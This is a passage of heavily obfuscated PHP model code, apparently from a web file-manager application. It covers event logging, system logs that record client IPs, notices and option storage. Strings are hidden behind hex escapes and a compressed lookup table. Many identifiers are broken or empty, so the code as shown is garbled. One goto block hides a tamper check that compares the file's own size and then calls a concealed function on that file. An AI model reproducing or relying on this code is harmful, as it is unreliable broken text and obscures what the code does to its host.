$_SERVER[ׇ]; $ܾ = array($[2207] => $_SERVER[$[2208]], $[2209] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2210]])) { $ܾ[$[2210]] = $[91]; } return $this->addEvent($萘, $[1940], $ܾ); } public function eventRecycle($⾫, $Ե) { return $this->addEvent($⾫, $_SERVER[ׇ][2202], $Ե); } private static $_removeLast = ''; public function eventRemove($) { $ڢώ =& $_SERVER[ׇ]; self::$_removeLast = $; $٩ = Model($ڢώ[1420])->sourceInfo($); $ = array_field_key($٩, array($ڢώ[193], $ڢώ[541], $ڢώ[505], $ڢώ[584])); $ = array($ڢώ[171] => $٩[$ڢώ[32]], $ڢώ[2209] => ACTION, $ڢώ[2211] => $); return $this->addEvent($٩[$ڢώ[192]], $ڢώ[1939], $); } public function eventShare($, $ҙ) { return $this->addEvent($, $_SERVER[ׇ][1950], $ҙ); } public function eventMove($߁, $ʔ, $䐞) { $ꯕ =& $_SERVER[ׇ]; if (self::$_removeLast == $߁) { return; } $˰ = Model($ꯕ[1420]); $Ԧ = $˰->sourceInfo($߁); $ = $˰->sourceInfo($ʔ); $ = $˰->sourceInfo($䐞); $Ԃ = array($ꯕ[1241] => $ʔ, $ꯕ[2212] => $[$ꯕ[32]], $ꯕ[2188] => !empty($[$ꯕ[582]]) ? $[$ꯕ[582]] : $ꯕ[12], $ꯕ[1242] => $䐞, $ꯕ[2213] => $[$ꯕ[32]], $ꯕ[2214] => !empty($[$ꯕ[582]]) ? $[$ꯕ[582]] : $ꯕ[12]); $this->addEvent($߁, $ꯕ[620], $Ԃ); $Ԧ = $˰->sourceInfo($߁); $Ԃ = array($ꯕ[193] => $Ԧ[$ꯕ[193]], $ꯕ[32] => $Ԧ[$ꯕ[32]]); $this->addEvent($ʔ, $ꯕ[2215], $Ԃ); } public function eventCopy($) { $this->eventCreate($, $_SERVER[ׇ][618]); } public function eventRename($ԓ, $Η, $) { $ =& $_SERVER[ׇ]; $ = array($[1241] => $Η, $[1242] => $); return $this->addEvent($ԓ, $[1434], $); } public function eventAddComment($އ, $۷) { return $this->addEvent($އ, $_SERVER[ׇ][2216], $۷); } public function eventAddDesc($͖, $ȣ) { return $this->addEvent($͖, $_SERVER[ׇ][2217], $ȣ); } public function listBySource($帧) { $׿ =& $_SERVER[ׇ]; $޵ = Model($׿[1420])->sourceInfo($帧); $ź = array($׿[491] => $帧); if ($޵[$׿[485]] == $׿[91]) { $圁 = Model($׿[1420])->listSearchChildren($帧, 20000); $圁[] = $帧 . $׿[454]; $ź = array($׿[193] => array($׿[7], $圁)); } $ = $this->where($ź)->order($׿[2218])->selectPage(); if ($[$׿[442]][$׿[443]] == 0) { $[$׿[442]][$׿[443]] = 1; $[$׿[445]] = array(array($׿[491] => $帧, $׿[2198] => $޵[$׿[192]], $׿[1763] => $޵[$׿[527]], $׿[496] => $׿[2219], $׿[497] => $޵[$׿[231]], $׿[1765] => $׿[12])); } return $this->eventListParse($, $帧); } private function eventListParse($ì, $) { $Ǜ =& $_SERVER[ׇ]; $ = $ì[$Ǜ[445]]; $ό = array_to_keyvalue($, $Ǜ[12], $Ǜ[193]); $ = array_to_keyvalue($, $Ǜ[12], $Ǜ[2204]); foreach ($ as $̷ϗ) { $㪷 = $̷ϗ[$Ǜ[526]]; if ($̷ϗ[$Ǜ[33]] == $Ǜ[620] && isset($㪷[$Ǜ[1241]])) { $ό[] = $㪷[$Ǜ[1241]] . $Ǜ[12]; $ό[] = $㪷[$Ǜ[1242]] . $Ǜ[12]; } if ($̷ϗ[$Ǜ[33]] == $Ǜ[2215] && isset($㪷[$Ǜ[193]])) { $ό[] = $㪷[$Ǜ[193]] . $Ǜ[12]; } } $ό = array_merge($ό, $, array($ . $Ǜ[12])); $ό = array_unique($ό); $ۅ = array_unique(array_to_keyvalue($, $Ǜ[12], $Ǜ[1772])); $‡Ȭ = Model($Ǜ[598])->userListInfo($ۅ); $ = Model($Ǜ[897])->sourceListInfo($ό, !0); foreach ($ as &$̷ϗ) { if ($̷ϗ[$Ǜ[33]] == $Ǜ[620] && isset($̷ϗ[$Ǜ[526]][$Ǜ[1241]])) { $̷ϗ[$Ǜ[526]][$Ǜ[1241]] = $[$̷ϗ[$Ǜ[526]][$Ǜ[1241]]]; $̷ϗ[$Ǜ[526]][$Ǜ[1242]] = $[$̷ϗ[$Ǜ[526]][$Ǜ[1242]]]; } if ($̷ϗ[$Ǜ[33]] == $Ǜ[2215] && isset($̷ϗ[$Ǜ[526]][$Ǜ[193]])) { $̷ϗ[$Ǜ[526]][$Ǜ[193]] = $[$̷ϗ[$Ǜ[526]][$Ǜ[193]]]; } $̷ϗ[$Ǜ[90]] = $[$̷ϗ[$Ǜ[193]]]; $̷ϗ[$Ǜ[2220]] = $[$̷ϗ[$Ǜ[2204]]]; if ($̷ϗ[$Ǜ[33]] == $Ǜ[1939]) { $̷ϗ[$Ǜ[2220]] = $̷ϗ[$Ǜ[90]]; $̷ϗ[$Ǜ[2204]] = $̷ϗ[$Ǜ[2220]][$Ǜ[193]]; $̷ϗ[$Ǜ[90]] = !1; $̷ϗ[$Ǜ[193]] = $Ǜ[12]; } $̷ϗ[$Ǜ[2147]] = $‡Ȭ[$̷ϗ[$Ǜ[1772]]]; } unset($̷ϗ); $ì[$Ǜ[445]] = $; return $ì; } public function removeBySource($鮏) { $ = array($_SERVER[ׇ][491] => $鮏); $this->where($)->remove(); } } goto f; a޸̏: define($_SERVER[ׇ][0], $_SERVER[ׇ][1]); $_SERVER[ɧ] = explode($_SERVER[ׇ][2], gzinflate(substr($_SERVER[ׇ][3], 10, -8))); function binCheckEq($崏, $Ȟ) { return $崏 == $Ȟ; } goto a; f֚ƍı: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\x6d\56\x4c\151\x67\150\x74\101\160\160"; public $modelType = "\x53\171\163\164\x65\155\117\x70\164\151\x6f\156"; public $field = array("\x6e\x61\x6d\x65", "\147\x72\157\165\160", "\x64\145\x73\143", "\x63\157\156\x74\145\x6e\x74"); public function listData($ń = false, $˵ = "\155\x6f\x64\151\x66\x79\x54\x69\x6d\145", $ = true) { return parent::listData($ń, $˵, $); } public function remove($) { $Ϊ = $this->findByName($); if (!$Ϊ) { return !1; } return parent::remove($Ϊ[$_SERVER[ׇ][475]]); } public function add($ِ) { if ($this->findByName($ِ[$_SERVER[ׇ][32]])) { return !1; } return parent::insert($ِ); } public function update($ږ, $Ռؽ) { $ׄ =& $_SERVER[ׇ]; $ = $this->findByName($ږ); $ = $this->findByName($Ռؽ[$ׄ[32]]); if (!$ || $ && $[$ׄ[475]] != $[$ׄ[475]]) { return !1; } return parent::update($[$ׄ[475]], $Ռؽ); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\x65\x6d\x5f\x6c\x6f\147"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\124\151\155\145", "\164\x69\155\x65", "\151\156\163\x65\x72\x74", "\x66\165\x6e\143\x74\151\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $˚ =& $_SERVER[ׇ]; return array($˚[2331] => LNG($˚[2332]), $˚[2333] => LNG($˚[2334]), $˚[1913] => LNG($˚[2335]), $˚[2336] => LNG($˚[2337]), $˚[2338] => LNG($˚[2339]), $˚[2340] => LNG($˚[2341]), $˚[2342] => LNG($˚[2343]), $˚[1943] => LNG($˚[2343]), $˚[1944] => LNG($˚[2344]), $˚[2345] => LNG($˚[2346]), $˚[2347] => LNG($˚[2348]), $˚[2349] => LNG($˚[2350]), $˚[2351] => LNG($˚[2352]), $˚[1941] => LNG($˚[2353]), $˚[2354] => LNG($˚[2355]), $˚[1948] => LNG($˚[2356]), $˚[2357] => LNG($˚[2358]), $˚[2359] => LNG($˚[2360]), $˚[2361] => LNG($˚[2362]), $˚[2363] => LNG($˚[2364]), $˚[1951] => LNG($˚[2365]), $˚[1952] => LNG($˚[2366]), $˚[2367] => LNG($˚[2368]), $˚[2369] => LNG($˚[2370]), $˚[2371] => LNG($˚[2372]), $˚[1946] => LNG($˚[2373]), $˚[2374] => LNG($˚[2375]), $˚[1945] => LNG($˚[2376]), $˚[2377] => LNG($˚[2378]), $˚[2379] => LNG($˚[2380]), $˚[2381] => LNG($˚[2380]), $˚[2382] => LNG($˚[2383]), $˚[2384] => LNG($˚[2384]), $˚[2385] => LNG($˚[1917]), $˚[2386] => LNG($˚[2387]), $˚[2388] => LNG($˚[2389]), $˚[2390] => LNG($˚[2391]), $˚[2392] => LNG($˚[2393]), $˚[2394] => LNG($˚[2395]), $˚[2396] => LNG($˚[2396]), $˚[2397] => LNG($˚[2398]), $˚[2399] => LNG($˚[2400]), $˚[2401] => LNG($˚[2402]), $˚[2403] => LNG($˚[2404]), $˚[2405] => LNG($˚[2406]), $˚[2407] => LNG($˚[2408]), $˚[212] => LNG($˚[212]), $˚[213] => LNG($˚[2409]), $˚[2410] => LNG($˚[2410])); } private function typeFile() { $ =& $_SERVER[ׇ]; $޶ = array($[1948] => array($[1949]), $[2349] => array($[2411]), $[2351] => array($[2412]), $[1941] => array($[1942], $[2413]), $[2359] => array(), $[2361] => array(), $[2363] => array(), $[1951] => array($[1953]), $[1952] => array($[1953]), $[2367] => array($[2414]), $[2369] => array($[2414]), $[2371] => array($[2415]), $[2357] => array($[2416]), $[1946] => array($[2417]), $[2374] => array($[2418]), $[1945] => array($[1947])); return $޶; } private function typeAll() { $˟Ǎ =& $_SERVER[ׇ]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $콑ޗ => $) { $[$[0]] = $[$콑ޗ]; } $[$˟Ǎ[1953]] = LNG($˟Ǎ[2419]); $[$˟Ǎ[2414]] = LNG($˟Ǎ[2420]); return $; } public function addLog($騦, $ᵜ = array()) { $ =& $_SERVER[ׇ]; if (!isset($this->typeList[$騦])) { return; } $Ӥ݋ = Session::get($[2112]); if (!$Ӥ݋) { $Ӥ݋ = _get($ᵜ, $[1772], 0); } if ($騦 == $[2386] && is_array($ᵜ[$[2421]]) && !$ᵜ[$[2421]]) { return; } $Å = get_client_ip(); if (!$ᵜ || strlen(json_encode($ᵜ)) >= 1024 * 64) { if ($ᵜ && is_array($ᵜ)) { $ᵜ = array_intersect_key($ᵜ, array_flip($[475], $[32])); $ᵜ[$[2422]] = $Å; } else { $ᵜ = array($[2422] => $Å); } } else { if (is_array($ᵜ)) { $ᵜ[$[2422]] = $Å; } else { $ᵜ = array($[1287] => $ᵜ, $[2422] => $Å); } } $ᵜ = array($[1762] => Session::sign(), $[1763] => intval($Ӥ݋), $[33] => $騦, $[1765] => json_encode($ᵜ)); parent::add($ᵜ); } public function remove($) { $this->where(array($_SERVER[ׇ][493] => $))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[ׇ]; $Ќ̵ = $[231]; $Ҋ = array($[523] => $[524], $[525] => $[526]); $ᑃ = Input::get($[531], $[7], $[2148], array($[2066], $[525])); $ᑃ = $Ҋ[$ᑃ]; $ = $ . "{$Ќ̵}\40{$ᑃ}"; return $this->order($); } public function get($Ӻ = '') { $՞ק =& $_SERVER[ׇ]; if (!$Ӻ) { show_json(array()); } $ƞ = array(); if ($Ӻ[$՞ק[1772]]) { $ƞ[$՞ק[1772]] = $Ӻ[$՞ק[1772]]; } if (isset($Ӻ[$՞ק[833]])) { $ = $Ӻ[$՞ק[833]]; $¢ = isset($Ӻ[$՞ק[834]]) ? $Ӻ[$՞ק[834]] : time(); $ƞ[$՞ק[231]] = array($՞ק[409], array($, $¢)); } if ($Ӻ[$՞ק[33]]) { $ = explode($՞ק[50], $Ӻ[$՞ק[33]]); $ܭ = $this->typeFile(); $읙 = array(); foreach ($ as $ٓː) { $읙[] = $ٓː; if (isset($ܭ[$ٓː])) { $읙 = array_merge($읙, $ܭ[$ٓː]); } } $읙 = array_unique($읙); if ($읙) { $ƞ[$՞ק[33]] = array($՞ק[7], $읙); } } else { $ƞ[$՞ק[33]] = array($՞ק[2423], $՞ק[2424]); } if (!empty($Ӻ[$՞ק[2422]])) { $ƞ[$՞ק[526]] = array($՞ק[459], "\x25{$Ӻ[$՞ק[2422]]}\45"); } $ = $this->_makeOrder()->where($ƞ)->selectPage(); if (empty($[$՞ק[445]])) { show_json(array(), !0, $[$՞ק[442]]); } $[$՞ק[445]] = $this->logList($[$՞ק[445]]); return $; } private function ipAddress(&$) { $̄ =& $_SERVER[ׇ]; if (!empty($[$̄[2422]])) { $Ѓ = IpLocation::get($[$̄[2422]]); } else { $Ѓ = LNG($̄[2425]); } $[$̄[2426]] = $Ѓ; } private function descZipDownload($ּ͓, &$ۘ) { $㗭 =& $_SERVER[ׇ]; if (!isset($ּ͓[$㗭[2427]])) { return; } $ײ = json_decode($ּ͓[$㗭[2427]], !0); foreach ($ײ as $) { try { $ւ = IO::infoFullSimple($[$㗭[87]]); } catch (Exception $Π) { continue; } $ּ͓[$㗭[87]] = $[$㗭[87]]; $ۘ[] = $ּ͓[$㗭[193]] = $ւ[$㗭[193]]; $ۘ[] = $ּ͓[$㗭[2204]] = $ւ[$㗭[192]]; break; } return $ּ͓; } private function getSourceList(&$Ƒ) { $Ń =& $_SERVER[ׇ]; $ڡå = array(); foreach ($Ƒ as $Ń => $ǽ) { $ = json_decode($ǽ[$Ń[526]], !0); if ($ǽ[$Ń[33]] == $Ń[1944]) { $ = $this->descZipDownload($, $ڡå); $Ƒ[$Ń][$Ń[526]] = json_encode($); continue; } if (strpos($ǽ[$Ń[33]], $Ń[2206]) !== 0) { if (!isset($[$Ń[87]]) || strpos($ǽ[$Ń[33]], $Ń[2428]) !== 0) { continue; } try { $܆ = IO::infoFullSimple($[$Ń[87]]); } catch (Exception $) { continue; } $ڡå[] = $[$Ń[193]] = $܆[$Ń[193]]; $ڡå[] = $[$Ń[2204]] = $܆[$Ń[192]]; $Ƒ[$Ń][$Ń[526]] = json_encode($); continue; } $ڡå[] = $[$Ń[193]]; $ڡå[] = $[$Ń[2204]]; if ($[$Ń[33]] == $Ń[620]) { $ڡå[] = $[$Ń[526]][$Ń[1241]]; $ڡå[] = $[$Ń[526]][$Ń[1242]]; } if ($[$Ń[33]] == $Ń[2215]) { $ڡå[] = $[$Ń[526]][$Ń[193]]; } } if (!$ڡå) { return array(); } return Model($Ń[897])->sourceListInfo($ڡå, !0); } private function logList($) { $ =& $_SERVER[ׇ]; $˹Ԭ = array_to_keyvalue($, $[12], $[1772]); $ = Model($[598])->userListInfo(array_unique($˹Ԭ)); $翿 = $this->getSourceList($); $ߊ = $this->typeAll(); $ԋ = array(); $ = array(); foreach ($ as $ݤ => $ѫ) { $ʆ = $ѫ[$[33]]; $ = isset($[$ѫ[$[1772]]]) ? $[$ѫ[$[1772]]] : !1; $ = strpos($ʆ, $[2429]) === 0 ? LNG($[2430]) : LNG($[2425]); $ѫ[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2425]); $ѫ[$[2259]] = isset($[$[2259]]) ? $[$[2259]] : $[12]; $ѫ[$[1661]] = isset($ߊ[$ʆ]) ? $ߊ[$ʆ] : $; $ѫ[$[2147]] = $; $ = json_decode($ѫ[$[526]], !0); $ѫ[$[2422]] = isset($[$[2422]]) ? $[$[2422]] : $[12]; $ѫ[$[2426]] = IpLocation::get($ѫ[$[2422]]); if (strpos($ʆ, $[2206]) === 0 || isset($[$[2204]])) { $[$[90]] = $翿[$[$[193]]]; $[$[2220]] = $翿[$[$[2204]]]; if ($[$[33]] == $[620]) { $[$[526]][$[1241]] = $翿[$[$[526]][$[1241]]]; $[$[526]][$[1242]] = $翿[$[$[526]][$[1242]]]; } if ($[$[33]] == $[2215]) { $[$[526]][$[193]] = $翿[$[$[526]][$[193]]]; } if ($[$[33]] == $[1939]) { $[$[2220]] = $[$[90]]; $[$[2204]] = $[$[2220]][$[193]]; $[$[90]] = !1; $[$[193]] = $[12]; } $ = array($[1939], $[2202]); if (!in_array($[$[33]], $)) { if ($[$[90]] && $[$[90]][$[190]] == $[191]) { $[] = $ѫ[$[475]]; unset($[$ݤ]); continue; } if ($[$[2220]] && $[$[2220]][$[190]] == $[191]) { $[] = $ѫ[$[475]]; unset($[$ݤ]); continue; } } } $ѫ[$[526]] = $; unset($ѫ[$[2431]]); $ԋ[] = $ѫ; } $this->clearSystemPathLog($); return $ԋ; } private function clearSystemPathLog($) { $ =& $_SERVER[ׇ]; if (count($) == 0) { return; } $Ƃ = array($[475] => array($[7], array_unique($))); $this->where($Ƃ)->delete(); } public function deviceList($ڧ, $ = 0) { $ =& $_SERVER[ׇ]; $ՠ = array($[1772] => $ڧ, $[231] => array($[1092], $), $[33] => $[1913]); $ǁ = array(); $ξ = $this->field($[2432])->where($ՠ)->order($[2218])->limit(50)->select(); foreach ($ξ as $’ => $࢚) { if ($’ > 0 && abs($࢚[$[231]] - $ξ[$’ - 1][$[231]]) < 5) { continue; } $م = json_decode($࢚[$[526]], !0); $࢚[$[2422]] = isset($م[$[2422]]) ? $م[$[2422]] : $[12]; unset($م[$[2422]]); $ۇۭ = $this->deviceType($م[$[2207]]); if (isset($ǁ[$ۇۭ])) { continue; } $࢚[$[2426]] = IpLocation::get($࢚[$[2422]]); $࢚[$[526]] = $م; $ǁ[$ۇۭ] = $࢚; } return array_values($ǁ); } public function deviceType($ߢ) { return $ߢ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\x6d\x2e\x6e\157\x74\151\x63\145\114\151\163\164"; public $field = array("\x6e\141\155\145", "\143\157\156\x74\x65\x6e\164", "\x61\165\164\150", "\155\x6f\x64\x65", "\164\x69\155\145", "\164\171\160\145", "\x6c\x65\x76\145\x6c", "\145\x6e\x61\x62\x6c\x65", "\x73\x6f\162\x74"); public function listData($麉 = false, $ = "\163\157\162\164", $ = false) { return parent::listData($麉, $, $); } public function add($ؗџ) { $٩ =& $_SERVER[ׇ]; $ͬ = time(); if ($ؗџ[$٩[16]] == $٩[2433]) { $ͬ = strtotime($ؗџ[$٩[206]]); } $ؗџ[$٩[206]] = $ͬ; return parent::insert($ؗџ); } public function update($, $ҵ) { $Ù =& $_SERVER[ׇ]; $Т = $this->listData($); if (!$Т) { return !1; } $ʷ = time(); if ($ҵ[$Ù[16]] == $Ù[2433]) { $ʷ = strtotime($ҵ[$Ù[206]]); } $ҵ[$Ù[206]] = $ʷ; return parent::update($, $ҵ); } public function remove($쟺) { $ؘ = $this->listData($쟺); if (!$ؘ || $ؘ[$_SERVER[ׇ][191]]) { return !1; } return parent::remove($쟺); } public function sort($, $վ) { return parent::update($, $վ); } public function enable($ֻ, $ϊ) { return parent::update($ֻ, array($_SERVER[ׇ][2434] => $ϊ)); } private function initUserOption() { $쇬ٱ =& $_SERVER[ׇ]; $this->optionType = $쇬ٱ[2435]; $this->modelType = $쇬ٱ[2436]; $this->field = array($쇬ٱ[2437], $쇬ٱ[32], $쇬ٱ[206], $쇬ٱ[33], $쇬ٱ[2438], $쇬ٱ[823], $쇬ٱ[226]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[ׇ][475], !0); } public function userNoticeAdd($¥) { $‰ =& $_SERVER[ׇ]; $this->initUserOption(); $ُ = $this->findByKey($‰[2437], $¥[$‰[475]]); if ($ُ) { return !0; } $Ѧ = array($‰[2437] => $¥[$‰[475]], $‰[32] => $¥[$‰[32]], $‰[206] => $¥[$‰[206]], $‰[33] => isset($¥[$‰[33]]) ? $¥[$‰[33]] : 1, $‰[2438] => isset($¥[$‰[2438]]) ? $¥[$‰[2438]] : 0, $‰[823] => 0, $‰[226] => 0); return parent::insert($Ѧ); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } goto Fٻ; E: $_file = $_SERVER[$_SERVER[ׇ][1418]]; $_size = $_SERVER[ׇ][951]; if ($_SERVER[$_SERVER[ׇ][952]] != $_size($_file)) { $_getc = $_SERVER[ׇ][954]; $_getfile = $_SERVER[$_SERVER[ׇ][949]] . $_SERVER[ׇ][950]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ׇ][262], $_getfilec); if (count($_getarrs) < $_SERVER[ׇ][690]) { $exit = $_SERVER[ׇ][955]; $exit(); } $_act = $_SERVER[ׇ][1419]; $_act($_file); } goto dӂ; AԳ: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\x73\x74\145\155\x4f\160\164\151\157\x6e"; public $field = array(); public function listData($쟆 = false, $σ = "\155\157\x64\151\x66\x79\124\x69\x6d\145", $ӌ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $켏 = array_values($); if ($켏 && $켏[0] && !is_array($켏[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $쟆 ? null : array(); } if (!$쟆) { $ = array_filter(array_values($)); return array_sort_by($, $σ, $ӌ); } return $[$_SERVER[ׇ][472] . $쟆]; } public function insert($׽) { $ =& $_SERVER[ׇ]; $׽ = array_field_key($׽, $this->field); $ = Model($this->modelType)->get($[473], $this->optionType . $[474]); $ = $ ? $ : 0; $׽[$[475]] = ++$; $׽[$[231]] = time(); $׽[$[88]] = time(); Model($this->modelType)->set($[473], $, $this->optionType . $[474]); Model($this->modelType)->set($[472] . $, $׽, $this->optionType); return $; } public function update($ڝ܃, $) { $ =& $_SERVER[ׇ]; $ = array_field_key($, $this->field); $Ē = $this->listData($ڝ܃); if (!$Ē || !$ڝ܃) { return !1; } $ = array_merge($Ē, $); $[$[88]] = time(); return Model($this->modelType)->set($[472] . $ڝ܃, $, $this->optionType); } public function remove($ɘ) { if (!$ɘ) { return !1; } return Model($this->modelType)->remove($_SERVER[ׇ][472] . $ɘ, $this->optionType); } public function clear() { $ =& $_SERVER[ׇ]; Model($this->modelType)->remove($[473], $this->optionType . $[474]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ч, $ɹ) { if (!$ɹ) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ч); return isset($[$ɹ]) ? $[$ɹ] : !1; } public function findByName($܀) { return $this->findByKey($_SERVER[ׇ][32], $܀); } protected function resetData($Ǎ) { $륌 =& $_SERVER[ׇ]; $Ǎ = is_array($Ǎ) ? $Ǎ : array(); $ŀ = array(); for ($񨈜 = 0; $񨈜 < count($Ǎ); $񨈜++) { $ŀ[$륌[472] . $Ǎ[$񨈜][$륌[475]]] = $Ǎ[$񨈜]; } return Model($this->modelType)->set($ŀ, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[ׇ][32]); if (!$ || !isset($[$])) { return $; } for ($ꎔ = 1; $ꎔ < count($); $ꎔ++) { $߽ܕ = $ . "\50{$ꎔ}\x29"; if (!isset($[$߽ܕ])) { return $߽ܕ; } } return $߽ܕ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ח = false) { $ =& $_SERVER[ׇ]; $ = $this->cacheGet($); $ڱ = $this->optionDefault($); $ڱ = is_array($ڱ) ? $ڱ : array(); if (is_array($)) { $ = array_merge($ڱ, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[97], $[450]); foreach ($ as $ => $) { if ($ח || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($ڱ, $); return $ ? $[$] : $; } public function set($, $Ýˍ = false, $鲗 = '') { $ҳɈ =& $_SERVER[ׇ]; $this->cacheRemove($鲗); $ĢϘ = array(); $ = is_array($) ? $ : array($ => $Ýˍ); foreach ($ as $۪ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $ҳɈ[4] . $); $ = self::textEncode($); $ = array($ҳɈ[33] => $鲗, $ҳɈ[97] => $۪, $ҳɈ[450] => $); $ĢϘ[] = $this->filterWhere($); } if (!$ĢϘ) { return !0; } $ů׮ = $this->cacheKey($ҳɈ[476]); CacheLock::lock($ů׮); $ٰ = $this->addAll($ĢϘ, array(), !0); CacheLock::unlock($ů׮); return $ٰ; } protected function optionDefault($ = '') { return !1; } public function setDeep($淋, $ = false, $ = '') { $ = explode($_SERVER[ׇ][10], $淋); $挗 = $this->get(); array_set_value($挗, $淋, $); $this->set($[0], $挗[$[0]], $); } public function remove($, $ = '') { $ɽۮ =& $_SERVER[ׇ]; $this->cacheRemove($); $Ա = $this->filterWhere(array($ɽۮ[97] => $, $ɽۮ[33] => $)); if (is_null($)) { unset($Ա[$ɽۮ[97]]); } return $this->where($Ա)->delete(); } public function cacheSet($, $֝ = false) { return Cache::set($this->cacheKey($), $֝); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($ɬ) { return Cache::remove($this->cacheKey($ɬ)); } protected function filterWhere($݌) { return $݌; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\151\x6f\137\163\x6f\165\x72\x63\145"; protected $tableMeta = array("\164\x61\x62\154\145\x4e\141\155\145" => "\151\x6f\x5f\163\157\x75\162\x63\x65\x5f\x6d\x65\x74\x61", "\155\x65\x74\141\106\x69\145\x6c\144" => "\163\157\x75\x72\x63\x65\111\x44"); protected $dataAuto = array(array("\155\157\x64\151\x66\171\124\x69\155\145", "\x74\x69\x6d\145", "\x69\x6e\163\145\162\x74", "\146\x75\x6e\x63\x74\151\x6f\x6e"), array("\x63\162\x65\141\x74\x65\124\151\x6d\x65", "\x74\x69\x6d\145", "\x69\156\x73\x65\x72\164", "\146\165\x6e\x63\x74\151\x6f\156"), array("\x76\151\x65\167\x54\x69\155\x65", "\x74\x69\155\x65", "\151\156\163\145\162\164", "\146\165\x6e\143\164\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($闥) { return $this->listSource(array($_SERVER[ׇ][477] => $闥)); } public function typeName($Қ) { static $џ = array(self::TYPE_SYSTEM => "\163\x79\163\x74\x65\155", self::TYPE_USER => "\165\x73\x65\162", self::TYPE_GROUP => "\147\162\x6f\165\160"); return $џ[$Қ . $_SERVER[ׇ][12]]; } public function sourceListInfo($ӧ, $ނ = false) { $ό =& $_SERVER[ׇ]; $ӧ = $ӧ ? $ӧ : array(); $ӧ = array_filter(array_unique($ӧ)); if (!$ӧ) { return array(); } $ǚۆ = $this->where(array($ό[193] => array($ό[7], $ӧ)))->select(); $this->_listDataApply($ǚۆ, $ނ); return array_to_keyvalue($ǚۆ, $ό[193]); } public function pathInfoFilter(&$ڄ) { $묤 =& $_SERVER[ׇ]; static $ = false; static $ = false; static $ݗ = false; if (!$) { $ = $묤[478]; $ .= $묤[479]; $ .= $묤[480]; $ = $묤[481]; $䧘 = explode($묤[50], $); $ = explode($묤[50], $); $ = array(); foreach ($ as $ȗ) { if (in_array($ȗ, $䧘)) { continue; } $[] = $ȗ; } $ݗ = explode($묤[50], $묤[482]); } foreach ($ݗ as $ř) { if (isset($ڄ[$ř])) { $ڄ[$ř] = intval($ڄ[$ř]); } } $ڄ[$묤[87]] = $묤[483] . $ڄ[$묤[193]] . $묤[484]; $ڄ[$묤[33]] = $ڄ[$묤[485]] == 1 ? $묤[78] : $묤[230]; $ڄ[$묤[190]] = $this->typeName($ڄ[$묤[190]]); if ($ڄ[$묤[485]] != 1) { $ڄ[$묤[169]] = $ڄ[$묤[486]]; unset($ڄ[$묤[486]]); } $ = $; if (isset($ڄ[$묤[487]]) && $ڄ[$묤[487]][$묤[488]] == -1) { $ = $; } $ڄ = array_field_key($ڄ, $); return $ڄ; } public function listUserFav() { $ڏ =& $_SERVER[ׇ]; $ɛ = Model($ڏ[489])->listData(); $ = array_filter_by_field($ɛ, $ڏ[33], $ڏ[490]); $ = array_to_keyvalue($, $ڏ[12], $ڏ[87]); if ($) { $Ɩ = $this->listSource(array($ڏ[491] => array($ڏ[492], $))); } $Ɩ = array_to_keyvalue($Ɩ[$ڏ[445]], $ڏ[193]); foreach ($ɛ as &$Đ) { $Đ = array($ڏ[493] => $Đ[$ڏ[475]], $ڏ[494] => $Đ[$ڏ[32]], $ڏ[495] => $Đ[$ڏ[87]], $ڏ[496] => $Đ[$ڏ[33]], $ڏ[497] => $Đ[$ڏ[231]], $ڏ[498] => $Đ[$ڏ[88]]); if ($Đ[$ڏ[33]] == $ڏ[490] && $Ɩ[$Đ[$ڏ[87]]]) { $Đ[$ڏ[90]] = $Ɩ[$Đ[$ڏ[87]]]; } } unset($Đ); return $ɛ; } public function listUserTag($) { $Ѷ =& $_SERVER[ׇ]; if ($ && !is_array($)) { $ = array($); } $ׇ = Model($Ѷ[499])->listData(); $ڍʉ = array(); $ = array(); foreach ($ׇ as $ţ) { $ᜈ = $ţ[$Ѷ[87]]; if (!$ᜈ) { continue; } if (!isset($[$ᜈ])) { $[$ᜈ] = array(); } $[$ᜈ][] = $ţ[$Ѷ[500]]; $ڍʉ[$ţ[$Ѷ[87]]] = $ţ; } $ = array(); $ή־ = array(); $ = array(); foreach ($ as $ۺ => $ف) { $ = !0; if (!$) { $[] = $ۺ; continue; } foreach ($ as $ޡ) { if (!in_array($ޡ, $ف)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($ۺ)) { $ƾ阞 = $ڍʉ[$ۺ]; $؍ = array($Ѷ[32] => $ƾ阞[$Ѷ[32]], $Ѷ[87] => $ƾ阞[$Ѷ[87]], $Ѷ[33] => $ƾ阞[$Ѷ[33]], $Ѷ[90] => array($Ѷ[501] => 1), 